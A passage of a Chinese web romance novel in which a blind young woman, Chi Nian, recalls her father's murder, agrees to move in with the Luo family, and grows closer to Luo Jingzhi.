“你这条裙子我虽然没见过,但样式和料子也不是什么名贵的东西,名牌的衣服我都穿腻了,虽然不是专业的,但名牌衣服穿久了也能看出个大概,你这裙子撑死就值四十左右,怎么,还想靠这四十块钱给你翻几倍的增长收入?”
洛延之岁占了风头,但脸上的得意丝毫未通过笑容表现出来,他依旧那样从容淡定:“再说,你怎么知道品牌方不是我一句话就能叫来的?”
“你,你……”
“怎么了,现在还想去验验真假吗?四十块钱的裙子拿去干洗店洗洗接着穿没关系吧?”
女人还是不想善罢甘休:“四十怎么了?你瞧不起我们这些普通人?四十块钱拿去干洗我也担心他们给我洗掉色!!!”
“那行。”洛延之没再多说什么,而是接着从口袋里掏出一张人民币夹在两指中间,“这是五十,不用找了,剩下的十块,就当我买你这块黑心,以后别再坑蒙拐骗了。”
女人哪管这么多,本以为这次一点都讨不到好处,没想到对方还能给她五十,脸色像翻书般变得喜笑颜开。
“行,早这样不就好了。”她嘴里骂骂嚷嚷的。
她心满意足的收起这些钱自行离开了。
周围的观众们也都渐渐
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散了场。
对方只是想讹人,她的裙子也确实被弄脏,洛延之不想在这种事上耽误时间,于是直接选择用钱解决。
但宁曼曼不是这样想,她就觉得不该他们管的事不要管,甚至觉得给了钱都是不应该。
“延之,你没发现那个女人就是故意这样说的,她那条裙子甚至都不值四十块钱,干嘛还要给她那么多钱,我看你就是被她坑了。”
宁曼曼在他身边一直嚷嚷着,丝毫不顾及他身后的姑娘。
洛延之回了句:“这些话你刚才怎么不说?”
“……”
“如果你刚才说了,我会给她减半。”
这话回怼的宁曼曼说不出话来。
她本就是奔着不想得罪人去的,也不想管这闲事,甚至在洛延之出头的时候没有为他说过话。
这让洛延之觉得甚是奇怪。
要知道,当初的宁曼曼会在他遇到那么大危险的时候都能挺身而出,现在却因为说几句话都变得那么奢望。
这不得不让他觉得奇怪。
洛延之喜欢她的率真,这一点不假。
但一个人最重要的是心性,而不是仅仅能讨人喜欢的率真就能够觉得他们适合在一起。
宁曼曼又道:“我这不是有些太害怕了吗,一时不太敢说那些话。”
他似乎不想就这么算了:“不敢说那些话?我们刚认识的时候你可以连命都可以不要,连刀都可以替我挡下的,现在反倒几句话都不敢说了吗?”
洛延之说的自然,并没有兴师动众的质问,毕竟在他心里,始终觉得宁曼曼心地还是很善良的。
这样的反问,让宁曼曼自顾不暇,她一时不知道该怎么回答。
就在为难之际,他身后的池念开口说话:“这位先生,刚才谢谢你帮助我。”
池念的主动开口缓解了两人间的紧张氛围,也让宁曼曼得以喘息。
洛延之转头看向她,温和道:“不用谢,你是池念吧?我认得你。”
她觉得奇怪:“你认得我?”
“嗯,你不知道我,但我记得你,洛家举办宴会那天,我看见洛景之亲手牵着你从楼梯走下来。”
提到洛景之,池念心里对对方没有那么多的芥蒂。
她忍不住问:“那洛景之是你的……”
“他是我哥哥,亲的。”他不知道为什么自己还要再补上后两个字,也许怕他们觉得他们不像亲兄弟吧,“我们年纪相仿,按理来说我该叫你一声嫂子,但现在你们还没有结婚,我就叫你的名字吧,你可以叫我延之。”
池念内心一阵翻涌。
更多是因为他提到的那句“结婚”。
是啊,他们都不知道,他们的男女朋友关系其实是假的。
“好的,对了,刚才那个钱我微信转给你吧,真的谢谢你,我没有遇到过这样的事情,所以真的不太会处理。”池念说着掏出手机就要扫他的微信收款码。
但这个举动让宁曼曼看见了心里很不舒服。
她赶忙对洛延之撒娇:“延之,我好饿啊,我们快点去吃饭吧,再等下去我的肚子就真的饿扁了。”
“好。”他没说什么,更是没有注意到宁曼曼那细微的想法细节。
只是一味地顺着她的意思。
洛延之将手机收起来,温和的对池念道:“不用了,一件小事而已,如果我真的收了你的钱,我哥知道了肯定不会饶过我。”
洛延之对池念的态度就是对未来嫂子的尊重,谈话间也是礼让尊重。
他们没有过多接触,了解不多,但只是因为洛景之喜欢她,所以他这个做弟弟的自然得要学会尊重人家。
这看上去再正常不过的关系,却被宁曼曼曲解,心中生气妒忌。
而注意到洛延之身边还跟着一位女孩,听她刚才的话里意思,池念也没再执着的去付款。
“那好,如果有机会的话,我会把钱转给你哥哥的。”池念握着盲杖,另一手将手机揣进包里,“刚才的事谢谢你,我就不打扰你们了。”
“嗯,那我们先走了,下次有机会见。”洛延之说。
23. 23
池念很少遇到刚才那样的事,她也很发愁处理,所以遇到了总是会以很和蔼的语气去解决问题,生怕得罪别人。
她眼睛本来就看不见,实在不想在别的方面引起什么矛盾。
池念今天是要去医院看望林霞的,只是没想到路上会遇到这样的事。
如果不是洛延之,她大概会被对方坑走一千多块钱。
今天的心情很是糟糕,她整个人都显得没有神采。
来到医院,想象着病床上插满输氧管的林霞,池念的眼泪忍不住挤满眼眶。
她一个人,乖乖坐在林霞的病床边上,轻轻摸索着她的手,小心翼翼的握着:“奶奶,念念好久都没来看您了,您会不会怪我。”
“你快点醒来好不好,洛景之告诉我说,想要接我去洛家生活,洛伯伯和爸爸是很好的朋友,是他想接我过去生活,我很喜欢洛景之,但是又担心我的眼睛看不见,在别人家里会添麻烦。”
她倾心诉说着自己内心的矛盾和纠结:“奶奶,您告诉我该怎么做才好呢。”
“经过这段时间的相处,我似乎慢慢明白您说的幸福了,也好像明白,什么是喜欢了。”
池念将林霞的手贴在自己脸颊上:“可是这些,都是在认识洛景之之后才发生的感觉,奶奶,我可能,是喜欢上他了。”
“但是我不知道该怎样做,也不知道他有没有喜欢的人。他让我假装他的女朋友,我很高兴,但是又变得越来越贪心,我明白我不可能站在他的身边,但是只要想起来就还是会难过。”
“他把我照顾的很好,帮我把家里所有危险的东西都藏起来了,甚至连一些桌角尖棱的地方都用海绵包裹住,他真的很好。可是他对我越好,我就越喜欢他。”
“奶奶,我怎么做才能不那么伤心,您快点醒过来好不好,您教教念念该怎么做。”
她越说越觉得自己好没用。
没了林霞,她连生活自理都勉强刚刚可以,其他的事,她觉得好困难。
以前在林霞的臂弯下,她被保护的很好,可是现在,她就像是一朵温室里长大的残花,一旦离开这舒适的环境,就会经不住风吹雨打而枯死。
池念觉得自己就是这样的,可又不甘心就这么认输。
说了这么多,她依旧不能得出一个答案。
就在这时,医生来检查林霞的病情,正巧碰上池念在。
“你是病人家属吧?”医生女士问。
“我是。”池念听着声音辨别对方的位置,她顺着声音看过去,“医生姐姐,我想问问奶奶的病情恢复的怎么样了。”
“目前来说情况还是很好的,如果一直这样发展,用不了多久就会醒来的。”
“太好了。”池念瞬间看到希望,有了医生的话,她也会相信用不了多久奶奶就会醒来。
有希望,总比身处地狱好一些。
至少还有继续努力的动力。
池念只能这样自己安慰自己。
“小姑娘,不要太伤心,只有家属保持乐观的心态,才能带动病人的心态,才有助于病人康复。”
听到这儿,池念连忙擦了擦自己的眼泪:“好的,我要开心些。”
原来生活中不全是困难和荆棘,她还有希望。
医生的话还有奶奶的病情,似乎在教她怎么去过好自己的生活。
她知道自己该怎么做了。
-
晚上七点。
池念独自在家,她努力的去回忆着过去。
回忆着那个恐怖的夜晚。
她亲眼看着池国霖被凶手刺破胸膛倒在血泊里,那一幕,她一辈子都不会忘记。
可同时那晚的事发生后,就给幼小的她带来了很大的刺激,导致她现在只要想回忆那段过往时,都会头疼要命。
她以为这个案子再也不会被翻出来,直到洛景之的出现,他带着自己那一丝的执念也要完成这件事时,又给了池念很大的勇气。
她不会那么容易就被打倒。
池念,现在洛景之需要知道那晚发生的细节,你一定要回忆起来。
一定要回忆起来!
她逼迫自己再次陷入那惊悚的一晚。
可只要试图回想,她都会头疼欲裂。
大脑的刺激让她控制不住自己,她在同自己挣扎的同时不小心打翻了桌子上的玻璃水杯。
清脆的杯子碎裂声音很刺耳。
小姑娘咬着牙,双手紧紧的按住自己的头,想要突破她试图逃避了十年的噩梦。
只有她坦然面对了,才有机会让凶手落入法网。
她瘫坐在地上,盲人杖也掉在一旁。
姑娘洁白的裙子摩擦着地面,此刻也多了几分污渍。
巨大的声响引起隔壁洛景之的注意,他心中突然萌生出不好的念头。
很快,洛景之冲进屋里,他满脸担忧:“池念!”
他担心她出事:“怎么了!告诉我发生什么事了?!”
洛景之一把将人抱紧怀里,两人的身体紧紧相拥。
姑娘的泪痕让她此刻变得更加让人心疼,洛景之看不得她这样。
通过刚才强烈的挣扎,那晚的画面竟在她脑海中缓缓浮现。
池念痛苦的吐出一句不完整的话:“我记得……记得……那晚,妈妈想要和爸爸离婚,爸爸答应了……然后,就被人,被人杀了!!!”
“!”洛景之不敢相信她刚才说的,很快又反应过来,“你是不是想起什么了?!”
“我头好痛!啊……”她双手不断敲打着自己的头部,很是痛苦。
“别再逼自己了,池念,你看着我,你看着我,我是洛景之!”他想要放弃了。
如果抓住坏人的代价是要亲眼看着他喜欢的姑娘再次回忆那个惨不忍睹的画面而饱受折磨的话。
他真的想要放弃了。
他不想看着池念一次次被拉回那个地狱。
忽然,姑娘眼神放空,呆滞的看着正前方。
她像是被人操纵着的傀儡,木讷的说出了那天晚上的经过。
“我记起来了,是一个男人杀了我爸爸,爸爸为了保护我才被人杀害的……”她的双眼瞪得很大,眼泪止不住留下来,“是我的错,都是我不好!”
每次想到这儿,她都会将这些责任揽到自己身上。
池念花了很长的时间才走出来。
“池念,别害怕,有我在,别怕!”洛景之将她抱得更紧。
姑娘感受着他的心跳加速,还有他身上的气息,神经才没有那么紧
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绷。
卧室里。
洛景之安抚好难过的小姑娘,他倒了杯水端进屋里。
池念呆滞的看着前方,此刻才逐渐冷静下来。
床上的玩偶也挨着她坐靠在一旁,姑娘的屋内陈设很是整洁温馨。
他将倒好的水放到床头柜上,也默默注视着她的举动。
只是没想到,池念似乎调整好自己的情绪,自顾自的说着:“我爸爸是在我十岁那年离开的,妈妈那个时候没有跟我们一起住。”
“……”
“我很清楚的记得,那一天晚上,我拿着老师发给我的奖状想要给爸爸看,他已经很久都没有回家了,妈妈说我可以告诉爸爸,让他回家陪陪我,然后我就打了一个电话给他。”
池念脸色泛白,那阵头疼在此刻得到缓解,似乎在她坦诚面对心结的时候也结束了对她的折磨。
所有的细节她都记得,只是偏偏因为亲眼看到这血腥的一幕而受到刺激,她潜意识里逃避这段凶杀过程。
“那晚,爸爸果然回家了,妈妈说有事情要和爸爸说,就让我先回房间。”她说,“可是没想到,我从房间里出来时,就看到爸爸在和一个男人打斗,那个男人手里有刀,我亲眼看到他拿刀刺进了爸爸的身体。”
往事历历在目,她的手控制不住的开始颤抖,似乎是身临其境,再次看到了那可怕的一幕。
洛景之在一旁听着,她所说的一切都很重要,不敢随便打扰。
“我好害怕,但对于当时的我来说根本帮不上任何忙,爸爸用尽最后的力气拖住凶手让我逃跑,可是我在跑出去后,不小心绊倒,摔在垃圾堆里。”
“别人扔掉的黑色塑料袋碰巧将我盖住,那个时候是晚上,也是视线最薄弱的时候,凶手没有找到我就逃离了现场。”
她咬牙继续说:“等到我再次醒来的时候,就是在医院了,那个时候我的眼睛就看不见了。不过我听见警察的描述,也大概可以想象到当时的情况,爸爸那躺在地上冰冷的尸体……”
“蔓,蔓延在屋里空气中的血腥味,以及那张我满心欢喜想要拿给爸爸看的奖状,也已经被鲜血染脏。”
她忍痛描述出来的画面,像是一根针狠狠地扎进洛景之的心里。
她已经,经历了那么多痛苦的时刻。
明明那个时候的她还是个小孩子,却承受了根本不属于那个年纪该承受的痛苦。
洛景之握住她那因害怕而颤抖的双手,用自己掌心的温度将她焐的温热:“所有苦难都过去了,池念,你会越来越好的。”
她愿意去相信他,哪怕只是骗一下。
“这件事过去很久我才有勇气面对,面对发生在我身上的所有不幸,直到现在我也才明白,妈妈为什么不和我们一起住,爸爸死后,我就很少见到她。”
“大概,那个时候妈妈就想过要抛弃我和爸爸了吧。”
洛景之从来没想到,发生在这样一个小姑娘身上那么多的不幸。
他原以为,失去看见这个世界的能力就是她最大的不幸,怎么也没想到,世界会带给她这么大的恶意。
“那,你的眼睛也是那个时候……”
洛景之十分不愿提起这件事,可为了能捕捉到细微的证据,他需要知道全部。
24. 24
池念自己做好了心理准备,也能够坦然面对:“爸爸刚去世的那一年里,我甚至不敢睡觉,只要一闭上眼我就会想到那晚的场景,而我的眼睛开始并没有这么严重,短短的一年时间里,我就看不见了。”
她自己也觉得是自己的问题。
可洛景之看她的眼神中满是心疼。
忽然,她似是想到什么,猛然反握住他的手,激动道:“洛景之,我想起来了,那个凶手,他开始的目标就是我,当时我还咬了他一口……”
她清晰记得,接着伸出自己的右手:“这只!”
“好!我知道了。”
即便是这么细微的线索,都有可能抓到凶手。
“你再仔细想想,这件事很重要,还有没有其他细节?”他问。
池念认真回忆起来,眼睛缓缓闭上,很快她又道:“我记得,他应该是高高瘦瘦的,他蒙着脸行凶,我没有看到他的脸。”
“身高175左右,体重看上去130斤左右,他戴了帽子和口罩,我无法判断他的脸型和长相……”
“还有,我逃跑的时候,隐约看见,他脸上有一条从眼睛划到口罩下面的疤痕!”
“!”
这番说词让他没有白白执着。
那一起孩童被杀案,以及池国霖的案子,有勘破的希望了。
他更想不到,池念可以注意到那么多细节。
他觉得有些匪夷所思。
洛景之不确定的问:“你,能记得请那么多的细节?”
“杀父之仇,别说十年,我一辈子都不会忘记。”
她当然忘不了,只是小时候亲眼目睹父亲的死,让她对自己进行了一个记忆封闭。
说简单点,就是短暂性逃避,不想面对这残酷的现实。
这属于心理方面的原因。
“我的意思是,当时事发突然,你还有精力去注意到凶手的外貌特征?毕竟当时的你才十岁。”
也不奇怪他会有这样的想法,换做谁都这样想。
池念皱眉道:“如果是平常的孩子肯定不能做到,但爸爸从小就教我侦查的要点,培养我这方面的能力。”
“只要我想,就一定可以。”
“好,还有别的线索吗?”
“我能记得的就这么多了。”
“嗯,其他的都交给我,你什么都不用管。”
洛景之扶她慢慢躺下,每一个动作都那么温柔。
这所有的好,池念都认为是他在替自己的父亲弥补着什么。
似乎是,他把池老师对他的恩情,都弥补在了她身上,所以才会对她这么好。
这个世界曾带给过她善意,但恶意却也大过于善意。
每个人心中都压抑着无法说出口的坏情绪,他们无处撒泄,只好发泄到比他们还要软弱的人身上。
“这么多年,是不是很辛苦。”他边照顾着边说话。
池念刚刚听清楚他的话,平复好心情后道:“不辛苦。”
“真的吗。”
洛景之的目光落到她身上:“我觉得那时候的池念很辛苦。”
“……”
“但也很坚强。”他又补充道,“你每次都能刷新我对你的认识。”
“我一开始只是以为你很普通,甚至比一个普通人还要困难,可是后来我认识你跟你生活之后突然又改变了我之前对你的认识。”
洛景之说:“你从来没有被生活的困难打倒,也没有丧失继续乐观生活的勇气,更没有对这个不公平的世界怒吼谩骂过。我突然觉得这样的你,很让我值得敬佩。”
听着洛景之的肯定,池念心里其实并没有感到很开心。
小小的身形乖巧的躺在床上,她缓缓开口:“我并不想变成这样。”
“为什么?”
“我也想躲在树的背面偷偷哭,也想对生活摆烂,更想去骂一骂那些每次坐公交都会来占我便宜的人。”
洛景之脸色骤变:“你说什么?”
“我只是不想给身边的人带来负能量。”她脸上强行挤出点微笑,“很多事,我从来没有跟奶奶说过,我怕她会担心,以后就不会让我一个人坐公交车了。”
“她腿脚不方便,路走多了会腿疼,所以我不能让她陪我一起去医院。”
“洛景之,你知道吗?”
她淡定的说着自己的伤痛:“我有次坐公交的时候,有个人去触碰我的身体……”
“我很不想提起这件事,但是今天,我想慢慢告诉你,关于我的所有事。”她的情绪像刚才一般有意在控制,“车上人很多,我不知道是从哪里伸出的手,总是有意无意的在碰我,我不敢跟奶奶说,却又不能选择其他的交通方式去医院……”
洛景之的脸似乎透露着一种杀人的气息,整张脸拉的很难看。
池念可以感受到他正在看自己。
只是他没有说话,她不知道他是在用一种什么眼神看着她。
她也不知道自己是怎么了。
既然就连那么恐怖的夜晚她都交代了,那还有什么是不能说的呢。
“所以我每次坐公交都会坐到最后面一排,躲在那个靠窗的小小角落里,只有那样,我才能逃过那可怕的魔爪。”她一个人蜷缩在床上。
洛景之握着她的手迟迟没有放开。
他忽然又想到什么,问:“那为什么,我们第一次见面的时候,你明明知道公交车上有那个混蛋在,还要坚持坐公交车去医院?”
“我那个时候想,那天下雨,或许他会不在……”
他被她气到无语:“池念,以后这种事要早点跟我说,知道了吗?”
“不管是好是坏,你的事,我都要知道。”
“为什么……”
“因为……”他还没想好要怎么说,直接说喜欢会不会太随便了?
洛景之这辈子还真没有说过喜欢。
他随便找了个借口糊弄过去:“以后你会知道的。”
他也不确定对方喜不喜欢他。
更不想这么随便。
何况今晚上的池念情绪不好,他不想让她心烦。
他能那么轻易对别人说出喜欢她,却不能当她的面说出口。
洛景之突然觉得自己很窝囊。
池念说:“我后来再也没有遇到过那个人,这件事就没有跟奶奶提起过。”
“所有的事都过去了,不要再去想,以后有任何事都要告诉我,任何事都不能瞒着我,有我在,谁都不能伤害我们念念。”他揉着她的头。
念念……
当洛景之说出“念念”这样的称呼时,她愣神许久。
除了林霞和妈妈,没有人再叫她念念了。
所以对于池念来说,能够叫她念念的人都是很好的亲人。
似乎只是因为一个称呼,他们的关系就拉近了很多。
洛景之见她愣住,他照顾到她此刻的情绪:“你不喜欢我这样叫你吗?你如果不喜欢的话那我就……”
“没有不喜欢。”
“什么。”
“我没有不喜欢你这样叫我。”
“那行,以后我就和奶奶一样,叫你念念。”
姑娘脸上露出些许笑容,满意的点点头。
“洛景之。”
“我在。”
“除了奶奶,从来没有任何人像你一样对我
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这么好过。”她笑着,“所以,不管这份好是出于什么用意,我都非常感激。”
不管他对她的好是出于还恩情,还是关心残疾人。
她都很开心。
就让她用这可怜的遭遇,再博取他一丝同情吧。
至少这样,她还能多得到一点他的关心。
这是她唯一的秘密了。
全部都告诉他了。
洛景之看着这样的她,心中萌生出一个新的念头。
以后,我会成为那个对你最好的人。
然后,照顾你一辈子。
他认定的人不会轻易改变,而他此刻,只想守着这一个人。
“哦。”
“哦?”池念疑问。
洛景之揉了揉她的头,顺滑的发丝被他弄乱:“你出门不方便,不考虑养只狗吗?”
池念的语气中透露着可怜“之前养过,但是它走了,陪了我七年,我实在承受不住这样的离开,我想,我还是一个人吧,这样不会对别人造成任何影响,挺好的。”
“你可以养我。”
“?”
“我乐意被你养。”
小姑娘被他逗笑,联想到他刚才说的,这不是……
“我不想养这么大的狗狗。”她边说还边用手比划着。
这看似是一个玩笑,可却发自洛景之的内心。
池念看着他微笑起来的双眼,几次沦陷。
她不得不承认,自己是个外貌协会。
小姑娘看了他许久,紧张又害羞道:“跟你在一起每次都很开心。”她说,“你可以,一直陪着我吗?”
池念很少说这种很动人又肉麻的话,但今天开了口,总是觉得害羞。
当问出这句话时,她似乎又觉得不妥,又想收回时,突然听见对方不羁道:“可以。”
“那你可不可以也答应我一个心愿。”
“什么?”
“跟我去洛家住。”
这件事她一直没有想好,心里总是没有一个确定的答案。
直到从医院回来,她可以确定自己心意了。
“洛景之,你为什么对我这么好?”
池念想不明白,从他们刚认识的时候开始,他似乎就对她很好很好。
这种好没有夹带任何理由,她想不明白。
洛景之被她问住。
刚开始我不确定自己的心意,原只是想多接触解除,好确定自己对她的心意到底是不是喜欢,可现在真正确定了,面对她的询问,我竟然不敢开口说喜欢。
如果直接说,会不会太仓促,会不会太突然了?
她一向小心谨慎,也没怎么和外人接触,我还是再等等吧。
等我们的关系再近一些,等她再多依赖我一点的时候,我再告诉她,我有多么喜欢她。
这种喜欢是他从前都没有过的,是眼里心里只有这一个人存在的喜欢。
“因为我们很投缘。”见她犹豫,他不想逼她,只是耐着性子又问一遍:“池念,你愿不愿意离我更近一些,见我次数更多一点。”
愿不愿意,住进他家里。
后面的话他没有继续问,只是停在这里,他静候她的答案。
池念抹了抹自己脸上的泪痕,一张小苦脸上被强挤出来的笑容,姑娘笑的天真又动人。
她拉起洛景之的手,真诚道:“我愿意搬去洛家住。”
洛景之甚至以为自己听错了。
“想好了?”
他再次询问。
“想好了。”
她肯定道。
如果真的喜欢,那就主动去靠近他。
主动去接受他。
25. 25
那天遇到洛延之的事,池念是隔了几天才告诉他的。
自从答应洛景之搬到洛家去住后,她全然将这事抛到脑后了,忘记告诉他倒没什么,但不能把钱也忘记转给他。
今天洛景之照常来给她做饭,自从林霞出事住院后,洛景之一直担任独属于她一人的厨子。
做好饭菜,洛景之将饭菜端到桌上:“尝尝,看好不好吃。”
“哪里吃不习惯你告诉我,尽量做到合你胃口。”
池念乖乖坐下,象征性的吃了几口:“好吃。”
她知道,洛景之的厨艺已经很好了,不用尝也知道味道肯定不错。
“那就多吃点,咸淡也合口吗?”
“嗯,当然。”
“那就好。”
吃到一半的时候,池念才突然想起那件事。
回来后她被父亲被杀的案子一直困扰着,心中一直总是在意。
池念边吃边夹了一条土豆丝放进嘴里:“我前几天碰到你弟弟了,他出手帮了我的忙,还帮我付给那人五十块钱,我看他那时候带着女生出去,就没再执着将钱转给他,后来我想了想,还是把钱转给你吧。”
她如今说的轻松很多。
那样棘手的事确实没怎么遇到过,她一时手足无措。
如今说出来,倒比那天轻松很多。
“是吗?”他悠闲地吃着饭菜,在听到她的话后变得认真起来,“你遇到麻烦了?什么事?”
“也不是什么大事,反正已经解决了。”
“哦,那为什么你有事不找我却让他帮你解决?”
“……”
池念被他的话呃住:“我只是碰巧遇到他。”
“知道了。”洛景之说,“钱你就自己留着吧,你执意要给的话就等搬到洛家后自己去给。”
“这个顺水人情我可不能替人收了。”
洛景之说完后自顾自吃着,但此刻的面色已然没有刚才松弛。
空气中的氛围有些冷清。
池念努力接上他的话:“那怎么可以,延之帮我我就很感谢他了,钱我肯定不能收,如果可以,那我就下次遇到他的时候再还给他吧。”
她说完继续吃着。
洛景之避重就轻,着重强调那两个字:“延之?”
“你们两个很熟?”
“……”
“你应该不认识他?第一次见就这么熟了?”他边说边回忆着他们初见时候的情景,“我们刚认识的时候,你貌似也没对我这么亲昵。”
男人的眼眸透露着深邃,尤其是他盯着她的时候,让她不由自主的觉得害羞,脸颊微微泛红。
她本就喜欢他,这样被他盯着看,心中仿若千万只小鹿乱撞。
池念紧张的不行,她找了个借口逃离:“那个,我的手机落在卧室了,我先去拿一下。”
见她慌忙逃走的模样,洛景之察觉到自己可能吓到她了:“我帮你去……”
“不用了,我自己去就行。”
“……”
完了,看来是真吓到她了。
这里是她的家,池念在自己家里行走起来很熟悉,没有那么陌生。
在洛景之看来她是被吓到了,但只有池念自己知道,她是真的觉得紧张又害羞。
她努力平复自己的心情,深吸了几口气。
然后去试图找寻自己的手机,可手机刚刚从充电器上拔下来,瞬间,屋子里陷入黑暗。
她看不到,但隐约可以察觉,眼睛里的微弱光亮瞬间消失,伴随着冰箱清脆的一个声响,这是冰箱断电的声音。
池念知道,现在是停电了。
她本能的去呼喊他:“洛景之?你还在客厅吗?”
池念独自在黑暗中摸索着,她刚才拔了手机怎么也摸不到盲杖放在哪儿,只能这样摸索着去寻找。
“池念?”洛景之能听清楚她的声音。
他从自己兜里掏出手机,打开手机的手电,屋内才有了一丝光亮。
池念喊道:“洛景之,你在哪儿啊……”
他听闻声音从客厅里走出来,本能回应:“我在这儿——”
池念的眼睛原是可以看到一些模糊的东西,但现在时间陷入全黑状态,她一时竟也变得手足无措。
不过她比寻常人更能适应黑暗,听着洛景之的声音,她便顺着声音来源走去。
洛景之将手电照向她时,不由得脸色一紧,洛景之喊道:“小心脚下!”
此刻池念脚下正有个阻碍她的板凳。
说话间,姑娘的脚已然被板凳绊倒,小小的身躯瞬间失去重心,朝着洛景之的方向倾斜倒下去。
男人眼疾手快,来不及多想,他的身子也朝她倾去。
洛景之的身手在应对这些小事上绰绰有余。
他稳稳的将池念接进怀里,姑娘的呼吸声让他心跳加速,洛景之轻嗅着她的发香,小小的一只,却撩的他小鹿乱撞。
池念的额头磕到他的锁骨处,额头微微泛红。
两人的呼吸近在咫尺,洛景之环抱着她的双手缓缓松开:“没事吧?”
她害羞的不敢看他,摇摇头:“没事。”
姑娘双手扶稳他:“你……”
暧昧的气息扑面而来,而这独特的暧昧,只是针对于洛景之。
池念没意识到“危险”,只是为了满足自己的好奇,壮胆子问:“我可以摸摸你长什么样子吗?”
“我没有办法看到你的样子,所以想靠触觉来记住你的模样。”
池念这话对洛景之来说无疑不是一种撩拨。
洛景之掌心还托着她温热的手,心中也沸腾不息,但他依旧强忍着冲动说:“被占便宜的事我可不干。”
小姑娘温柔的再次请求道:“我会很小心很小心的,不会占你便宜的,好不好?”
这谁能受得了?
更何况还是一个爱慕她的男生。
洛景之的嗓音此刻变得沙哑:“嗯,同意了。”
池念对男人的印象还停留在小时候,那个时候,她的眼睛还能看见。
可随着逐渐长大,她只听见过他们的声音。
用手去触摸他的长相,也不过是今晚她的奇思妙想。
她貌似听谁说过,洛景之长得很帅气,但忘记是听谁说起过了。
征得同意后,池念刚才的羞怯此刻全被好奇笼罩,纤细的手指从他额头开始往下滑落,滑过他的鼻梁到鼻尖停止。
池念抬手轻点他的眉心,而后触碰着他的眉毛,她轻声低软:“比我想象的浓。”
指腹下滑,停在他的鼻梁:“很挺。”
小姑娘嘴角扬起一个微笑,她的指腹轻轻触摸他的红唇,似乎对她来说像是在
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探索什么奇珍异宝。
她的指尖微微用力,按了按,“这里,是冷的。”
但此刻的洛景之,却紧张到不能呼吸。
池念最后摸着他的喉结,再到锁骨,这是她从前从来没有触及到过的领域。
“这就是喉结吗?原来是这个样子的。”池念笑着。
“你知道?还是说,你摸过别人的?”
“没有。”她慌忙摇头,“我是听书知道的,原来真的长这个样子,看来书里描写的还是很生动的。”
“池念……”他像个木头人一样呆立不动,“好了吗?”
“你再让我摸一摸。”她这话说得那么轻而易举。
却对他来说是一种极致的勾引。
洛景之时刻克制的自己的欲望,这么多年,他没有谈过女朋友,这种欲望克制了很久很久。
但他却对自己喜欢的姑娘表露出来了。
“池,池念,你……”
他呼吸明显乱了。
手电在她身后,他整个人逆着光,像被黑暗束住。
洛景之浑身的肌肉绷紧,却一动不敢动。
池念指尖的温度像火星,落在皮肤上,瞬间点燃血液。
“洛景之,”她的声音带笑,“你的心跳好快。”
男人终于忍不住,他握住她的手腕,声音哑的不成样:“池念,不能再摸了。”
“为什么?”
“因为……”他深吸一口气,“我怕我忍不住。”
天知道他在多么努力的克制自己。
可池念不明所以,她不懂他口中的“忍不住”是什么意思。
池念那停在他胸口的掌心慢慢收回:“忍不住什么?”
见这小丫头不知天高地厚,洛景之也索性想故意吓吓她。
洛景之故意低头,额头抵住她的额头,声音低哑而又克制着说:“忍不住想要吻你。”
空气瞬间安静。
黑暗中,他的呼吸滚烫,落在她的唇边。
池念的睫毛颤了颤,思绪还沉浸在他刚才的话术中。
忍不住,想吻她?
洛景之见她没说话没动静,他眼底一片烈火,烧的他浑身发热,他的呼吸逐渐向她靠近,却在最后一厘米停下。
“不行。”他握住她的肩膀,声音哑的发狠:“现在不行。”
洛景之啊洛景之。
你怕不是真的疯了。
池念虽然因他的话感到意外,但并没有很吃惊。
他们现在似乎真的像一对情侣,不像假的,不像强迫的。
小姑娘顺着他的话说:“你刚才说……”
“你听错了,我什么都没说。”洛景之外表镇定,实则内心慌得一批,“池念,刚才那是开玩笑的。”
洛景之忙着转移话题:“明天,我明天接你去洛家,好不好?”
池念的脑回路一直跟着他走,这次也不例外,她下意识的点头答应。
“好,答应了不许反悔。”
“不反悔。”
洛景之脸上洋溢的笑脸掩饰都掩饰不住,他笑的开朗:“太好了,我好高兴,池念。”
他拉住她的手,无以言表。
寂静的屋子里满是两人的心意。
他们什么都没说,却又什么都说了。
似乎他们能够读懂彼此的心。
26. 26
清晨的天空灰蒙蒙的,像是有雨。
洛景之正在观看手机里一起很难侦破的悬案,他跟着思路思考,也觉得疑点重重。
男人的思绪都在思考怎么回事,此刻他的手机铃声响起:“你问的怎么样了?人家小姑娘想不想来咱家住段时间。”
听声音,他便知道是洛明诚。
洛景之此刻才意识过来,他问出了结果,但是还没来得及告诉他:“你问的挺巧,她昨天才给我准确答案。”
“今天我帮她搬行李,你就不用管了。”
“你每次就不能跟你爸说话的语气好点?你学学你弟弟。”洛明诚虽然斥责,但并没有跟他生很大气,毕竟池念已经答应过来住了。
他又问:“她的东西多不多,用不用我联系几个人过去帮忙?”
洛景之说:“不用,我能搞定,况且,让别人帮,不太方便。”
“……”
他像是被秀了个恩爱。
“行吧,我跟你妈妈在家等你们,也准备好了午餐,别带着人家姑娘乱吃。”
“知道了。”
洛景之挂了电话,刚才看的认真的案子此刻已然被打断了思路。
不过他倒是难得见洛明诚对谁这么客气过,何况对方只是一个小姑娘。
可见他和池国霖的关系真的很要好。
刚挂断电话,洛景之又接到了池念的来电:“行李我已经收拾好了,我们什么时候出发?”
“稍微等会儿,我出去买份早餐。”他问,“你想吃什么?”
“我都可以。”
“那行,吃的我就按照你之前的口味买了,行李什么的,就按咱们昨晚说好的,你再看看有没有遗落的,跟房东那边打声招呼。”
“好,又要麻烦你了。”
他用肩膀将手机夹在耳朵旁,双手整理着刚才放在床上的几本书:“给你做了那么多次饭现在还说麻烦,有点伤心了念念。”
池念每次听到他喊她念念,嘴角都会忍不住上扬,她总觉得,他的声音很好听,喊她的名字时更好听。
“先挂了。”她将电话握在掌心,心里乐开了花。
池念从小只有奶奶的宠溺,现在突然多了位异性这么关爱她,关键是这么俊俏的男生,相处时间久了,想来很难不喜欢上他。
二十分钟后,洛景之帮忙将行李都搬到车上,他开车来带她。
池念下意识想去做后座时,却被洛景之制止:“坐前面。”
“嗯?”
“后面有东西。”他说的自然。
“哦。”她也没再说什么,而是听从他的话坐到了副驾驶。
关上车门,池念将盲杖放到一边,刚启动车子,便很快收到需要安全带的提示语音。
池念四处摸索,她从前坐车都是在后座,几乎没有坐到过前面,上车系安全带的习惯她是没有的。
见她在车座一侧胡乱摸索,洛景之俯身看她,浅浅一笑,起身向她凑去。
他拉过安全带,右手绕过她的颈肩,一股暧昧的氛围充斥在车内。
洛景之拉着安全带去找插口。
卡擦——
金属扣合,声音在封闭的车内好似被无限放大。
池念被这声“锁”惊的呼吸轻颤,心跳逐渐加快。
